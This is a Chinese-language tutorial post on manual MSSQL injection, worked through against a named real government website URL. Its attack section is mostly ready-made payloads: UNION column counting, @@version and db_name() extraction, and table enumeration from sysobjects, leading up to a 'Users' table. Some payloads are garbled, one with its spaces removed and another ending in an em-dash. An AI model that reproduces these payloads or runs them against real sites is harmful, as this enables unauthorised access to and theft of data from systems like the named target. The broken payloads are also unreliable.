### 手工Mssql注入详解 #### 一、前言 在网络安全领域,数据库注入攻击是一种常见的攻击方式,其中SQL Server(简称Mssql)作为广泛使用的数据库系统之一,更是受到黑客的重点关注。手工Mssql注入是指不依赖于自动化工具,而是通过手动构建SQL语句来探测和利用数据库的安全漏洞。本文将详细介绍一种原创且较为另类的手工Mssql注入方法,该方法适用于那些常规手段难以攻破的目标。 #### 二、环境准备与基本概念 在进行Mssql注入之前,需要了解以下几个概念: 1. **SQL注入**:通过在输入数据中插入恶意SQL语句来操纵后端数据库的执行逻辑。 2. **Mssql**:即Microsoft SQL Server,是微软公司推出的一种关系型数据库管理系统。 3. **手工注入**:与自动化工具相比,更加灵活,可根据实际情况调整策略。 #### 三、案例分析 本案例的目标网站为<http://www.lnbxda.gov.cn/news/photos.aspx?Pid=20091302041340>,经过测试发现,常规方法无法获取到表名等信息。因此,我们将采用一种新的方法来进行手工注入。 ##### 3.1 判断字段数 我们需要确定注入点的字段数量,这一步至关重要。可以通过以下SQL语句尝试: ```sql 'and 1=2 union all select null,null,null-- ``` 如果返回错误提示“使用UNION、INTERSECT或EXCEPT运算符合并的所有查询必须在其目标列表中有相同数量的表达式”,则可以确定至少需要四个NULL值才能正确执行,即字段数为4。 ##### 3.2 版本确认 确认Mssql版本对于后续操作非常重要,可以通过以下语句: ```sql '%20and%201=2%20union%20all%20select%20null,char(94)%2bchar(94)%2bchar(94)%2bcast(@@version%20as%20nvarchar(4000))%2bchar(94)%2bchar(94)%2bchar(94),null,null%20-- ``` 从响应中可以看到版本号为Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86),这是非常重要的信息,因为不同版本的Mssql可能存在不同的安全特性。 ##### 3.3 获取数据库名称 接下来获取当前数据库的名称,使用以下语句: ```sql 'And1=2unionallselectnull,db_name(),null,null— ``` 如果成功,将会返回当前数据库的名字。 ##### 3.4 爆表 获取数据库中的所有表名是一个复杂的过程,但也是获取敏感信息的关键步骤。需要判断有多少张表: ```sql '%20and%201=2%20union%20all%20select%20top%201%20null,cast(count(1)%20as%20varchar(10))%2bchar(94),null,null%20%20from%20[sysobjects]%20where%20xtype=char(85) ``` 假设返回结果为19,则表明有19张表。接着逐一获取这些表名: ```sql '%20and%201=2%20union%20all%20select%20top%201%20null,%20cast(name%20as%20varchar(256)),null,null%20%20from%20[sysobjects]%20where%20xtype=char(85)%20and%20name%20not%20in%20('')— ``` 通过不断排除已知表名的方式,最终得到了所有表名列表。 ##### 3.5 字段猜测 在获取到表名之后,需要进一步猜测每个表的具体字段。这里以“Users”表为例,首先需要猜测其object_id,再进一步猜测字段数量和其他信息: ```sql '%20and%201=2%20union%20all%20select%20top%201%20null,cast([id]%20as%20nvarchar(20))%2bchar(94),null,null%20%20from%20[SITEDATA].[sys].[sysobjects]%20where%20name=0x55007300650072007300— ``` 通过以上步骤,可以获取到表的object_id,并进一步统计出字段数量及其他详细信息。 #### 四、总结 通过上述方法,即使是在常规手段失效的情况下,也能够通过手工Mssql注入技术获取到关键的数据库信息。这种方法不仅考验了攻击者的耐心和技术水平,也提醒我们在设计和维护系统时,要充分考虑到安全性问题,避免成为攻击者的目标。
- 粉丝: 7
- 资源: 282
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助